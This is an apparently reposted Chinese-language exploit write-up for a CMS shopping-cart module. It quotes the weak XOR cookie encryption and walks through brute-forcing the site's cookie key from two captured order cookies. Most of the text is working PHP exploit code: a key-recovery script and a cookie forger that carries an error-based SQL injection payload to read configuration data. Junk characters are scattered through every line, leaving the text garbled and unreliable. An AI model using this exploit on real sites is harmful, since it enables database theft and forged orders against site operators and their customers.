www.xxx.com/plus/search.php?keyword=) X2 k y/ W0 v( b6 H7 J
在 include/shopcar.class.php中' ~3 V8 \: {6 T( I: R/ h
先看一下这个shopcar类是如何生成cookie的
; t$ w7 f/ c) f9 I7 C; X239 function saveCookie($key,$value)
9 \' n; R; w5 T240 {9 C! ]/ h% ~( q* B
241 if(is_array($value)) n: M/ ]# h% h- D+ w- T6 K
242 {
9 F: R& Q. [) y/ O2 ]243 $value = $this->enCrypt($this->enCode($value));0 v# h% h) h! @* R4 v6 C2 H4 O" |
244 }
8 G7 i: l8 ~) z) T245 else
: {9 T) f. `# ?) M246 {
$ j9 ?) Q1 Y( t5 G7 }8 z247 $value = $this->enCrypt($value);
, A7 V9 x0 B" l) v: ?' I3 [248 }: k: x# L6 k0 T; ~" P
249 setcookie($key,$value,time()+36000,’/');
s9 h# G8 z: `/ q250 }2 A" {0 H! w r: Z! C0 A" v
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数: d% f; r9 e) P3 I" j
186 function enCrypt($txt)
, T9 w* t: k' w+ @7 b4 k( }187 {
/ D* V5 }& j) {" q) M: {1 A188 srand((double)microtime() * 1000000);
, U# m) M- t& c& X; f) r4 U6 Y6 Y189 $encrypt_key = md5(rand(0, 32000));
; L# w$ X* Y C& U$ H190 $ctr = 0;/ Y) s! x; b6 s% h! T+ [& t
191 $tmp = ”; R* }0 n1 N/ p3 }, A
192 for($i = 0; $i < strlen($txt); $i++): ]3 \. i- k) S! {* ~5 H
193 {9 u5 j0 C9 B2 A8 X5 \. c7 m
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ M2 ^0 V) ?5 S7 |+ w195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);2 C- X& a* u. S9 h1 r L* f
196 }
. @# C e+ K; D5 l1 o7 o4 n2 c197 return base64_encode($this->setKey($tmp));
5 Y2 t* U5 |. L% I0 C198 }$ w5 U2 x. U2 q. P9 M2 Y ]
213 function setKey($txt)
+ T7 o( ^( s+ P- Y4 I6 [0 @( S7 X214 {$ X, D: [+ |" M8 I8 ?
215 global $cfg_cookie_encode;
; i2 m u- U$ F( r# ^/ R* R7 `8 u9 o216 $encrypt_key = md5(strtolower($cfg_cookie_encode));4 [4 q, O' V) q
217 $ctr = 0;0 Z0 q( C/ A( ~3 S( W1 E* q5 C' a
218 $tmp = ”;( Q1 D# b5 v* u4 a( d/ [
219 for($i = 0; $i < strlen($txt); $i++)
" C8 g- ^0 h9 P. e* O220 {
1 M8 G" K; ~* Q9 _* H221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;$ H7 }. U. j5 m/ R6 F, E
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
9 E( O5 z/ ^8 G( `9 m2 x223 }
) N7 g4 S1 h! [2 @- U8 U224 return $tmp;
1 I8 `3 f0 L2 f# X- F2 M( I W225 }
& A2 l+ ]0 g) Q* u7 oenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的! u* s, N! v& \- \$ M; j: r
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。7 C9 P: @, K- ^3 z; [
具体代码如下:
7 c% Q4 Q5 W$ Q: H9 s<?php6 B- y' q7 ?1 Q: g) |* d; v! l
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here$ Z9 g8 t: J/ ^7 O M/ ?
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here5 N# j9 I5 S' [; y% J2 y
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
% V3 Y/ C; ^; n6 m* F3 f& ~function reStrCode($code,$string)
& x! ]7 s, X W{- _) L, V' D2 _( P* p& l0 n
$code = base64_decode($code);
5 d' }- t5 Z% Q7 _$key = “”;
& h6 v! `/ V4 w9 Wfor($i=0 ; $i<32 ; $i++)) A" W. X5 }$ R L
{8 H+ ?. ~, @) Z$ M- A2 o) ^6 n' R8 C
$key .= $string[$i] ^ $code[$i];% e) M2 C" l4 w. }/ F
}0 t5 G2 Y$ P2 W! [" E0 P' S3 }% J; j
return $key;8 k* o6 f4 C# L8 Z, e
}
1 Y# N& M6 E! K* j4 Vfunction getKeys($cookie,$plantxt)+ {8 |+ e1 l' a) r" m) H
{0 z2 u2 l0 d9 k7 d* S
$tmp = $cookie;- J0 }" Q. `+ {+ v% M' v, ]
$results = array();
( ~, k( z. e. c0 w, \" X& O4 ]) Lfor($j=0 ; $j < 32000; $j++)& `! `5 w" k9 e9 u- e2 c9 y) h9 T
{
, k% u$ D T0 i( R0 t) X8 c- B) m# t g* ~, Q7 F; h. ~6 \ M& P
$txt = $plantxt;* V8 e# p; C- L9 @' A
$ctr = 0;
" f" r8 y! B ]: @$tmp = ”;
. G8 U: b4 F+ B+ i9 ~) |9 t w8 v6 J$encrypt_key = md5($j);4 w+ m6 v" s+ ]: D3 Z2 v$ r
for($i =0; $i < strlen($txt); $i ++)! q6 k9 w9 X6 ]/ e7 U
{. K& U4 O4 D7 F8 _5 U) K
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;. K- s% ?. T L
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);( M+ {' Y6 o: C$ r5 I* e
}
' \3 @+ b) t' _) j$string = $tmp;
1 B2 B/ c; ]& Q4 O$code = $cookie;) x8 V. b0 h8 k: N* Q
$result = reStrCode($code,$string);$ a/ s3 D; W, B. n- M
if(eregi(‘^[a-z0-9]+$’,$result))
0 N, @1 Z' {) I/ ]; s8 N0 J{
# {5 H& B) P3 z0 w; O* fecho $result.”\n”;& j( g/ J! H$ ~
$results[] = $result;: G# `" ^* ?5 p/ _5 W
}
+ W: _( \' g/ T' L ~) x}: u+ ?- \. L2 M3 l
return $results;
9 k9 [- o- ^4 b& z}& T4 d5 H L# V9 X! z7 t6 N5 Y
$results1 = getKeys($cookie1,$plantxt); b9 x! u/ `7 K* D7 C
$results2 = getKeys($cookie2,$plantxt);0 n( |; W" A F" C# l' V
print “\n——————–real key————————–\n”;
$ v! J! a t, N: T: ?3 U, ^foreach($results1 as $test1)
" i q* a- u+ a2 N3 ?{
* l/ u/ ^8 U4 L% o! t" Vforeach($results2 as $test2)
* H# @: |% u9 R{0 U( \: {3 f: E. D
if($test1 == $test2)
4 X2 ]9 k3 p* O( F7 f# N' J{
|1 s9 [, m; i" Q5 H& A5 Jecho $test1.”\n”;% E& b6 F; F+ B& f8 {7 g/ G% E1 @
}
: b: T2 y" [, r5 V0 k}
. O1 q0 e2 B* r+ U$ f" _1 I' A}3 S6 T! b$ {6 H) f8 p: }2 e
?>
- M! K: h$ x5 C" o# ocookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
$ K" J* a/ V) O6 tplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua18 f- y( C! ^' v9 T) b
然后推算出md5(strtolower($cfg_cookie_encode))2 y; |! n8 g1 ]" J
得到这个key之后,我们就可以构造任意购物车的cookie& e6 i* M, p, `' t
接着看
4 o/ g- B" j+ g x& W20 class MemberShops, V, m$ j3 a5 M
21 {
( s! Z) {4 _ i, k" m- S) J22 var $OrdersId;
, E' D4 F/ R' {+ f, N23 var $productsId;! \. d" k& e$ f( d- V$ Z
24
6 X: s, ~" W. x25 function __construct()
' D: _; O' a, y! B: b2 X26 {
1 J- B7 m9 M$ f- M. u2 j27 $this->OrdersId = $this->getCookie(“OrdersId”);
, j# m8 G0 o9 y6 i: |28 if(empty($this->OrdersId))
3 I5 _5 S0 W6 D; F29 {$ B; C8 ^8 V* [7 k& @$ s
30 $this->OrdersId = $this->MakeOrders();2 ], d1 l$ T2 V. d, n
31 }9 b; w7 W$ ]/ ]) g) S T, }
32 }
2 I4 [( V) \5 N* _- w$ z; x发现OrderId是从cookie里面获取的
, |+ D! }( F+ K5 X然后
: u& n$ Q+ w4 c2 F/ A4 h) N/plus/carbuyaction.php中的- M6 q" g" A6 w% k
29 $cart = new MemberShops();
# |4 d, U% h! {1 M5 I( t6 J39 $OrdersId = $cart->OrdersId; //本次记录的订单号/ e& g2 q1 H* u j
……
% ?. v1 S; ^+ w7 O( e* G173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
) l/ k) K( ]" K- {3 D* [5 ~接着我们就可以注入了( q7 H! N8 F7 |1 H2 _+ u5 o
通过利用下面代码生成cookie:) u+ }% Y _/ p9 H$ }
<?php
8 \. C5 O i7 Z$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;, e# x* [7 \5 O5 A
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
7 i/ c5 X' f' `2 J; J0 U. L6 Nfunction setKey($txt)4 R; H" W u, m* I( w" Z
{& x/ c) G: Z% m- o7 x) a
global $encrypt_key;: @& ?) M! x% M- \5 U
$ctr = 0;" A; y" v2 y6 l9 d' S! E
$tmp = ”;+ U; }3 V1 O# j4 Y4 P' e' K8 r
for($i = 0; $i < strlen($txt); $i++)8 j: W1 }- D' |* D+ G" ], R. |/ q- o
{
4 }5 m0 b9 C$ d$ `* M$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;9 K6 o" a# z! Z5 F' l+ F2 P
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
- e6 l! L2 N6 Q}! |; o4 k' ?1 q% w- L' \
return $tmp;
9 n ~9 ~9 Y& o* ~1 [}8 j& h7 q' }4 r# }' p
function enCrypt($txt)2 H. c. \6 U" [; v5 O% ~ x' p
{
, u6 k6 K, _9 D# B a1 h! U7 gsrand((double)microtime() * 1000000);, G+ ^' M' c% |$ f: \
$encrypt_key = md5(rand(0, 32000));
w& x/ F; e! q+ g$ctr = 0;
5 |& Y% W" k z" B5 k$tmp = ”;
! j, A1 F3 O; c. y& m) A- Sfor($i = 0; $i < strlen($txt); $i++)
% [8 d9 O3 x6 r5 f2 a- n* o: k{
1 H/ B8 y4 I5 [" [+ P) c$ o$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;2 W0 z$ S; Y: Y7 q, s' h, v" O
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
3 ?. ~: g! c# D# m}
6 g y9 e& A& wreturn base64_encode(setKey($tmp));5 n- \- O1 J3 b6 e$ ^
}/ ]$ e3 ]; g6 N! X5 e& L& q
for($dest =0;$dest = enCrypt($txt);)6 A' r8 n$ {) |8 h) Y( B
{
: m6 }& c# s2 }9 V3 b: Wif(!strpos($dest,’+'))
) @4 V5 o, T& f2 f. m) ~{
, h+ A' W5 s- I9 b" R( }2 Gbreak;5 E Z' E' X1 ]( E
}
/ V1 ~* C* M7 k6 i6 C6 J% t& F}& P' s! O7 }1 ^& k7 U7 l
echo $dest.”\n”;: q; X# o5 L6 s& G# S' k2 `7 m4 [. \/ z
?>
% C0 ?% z" v. Z2 }+ ?8 v3 P
& b/ l$ i9 P& F! V( P+ r |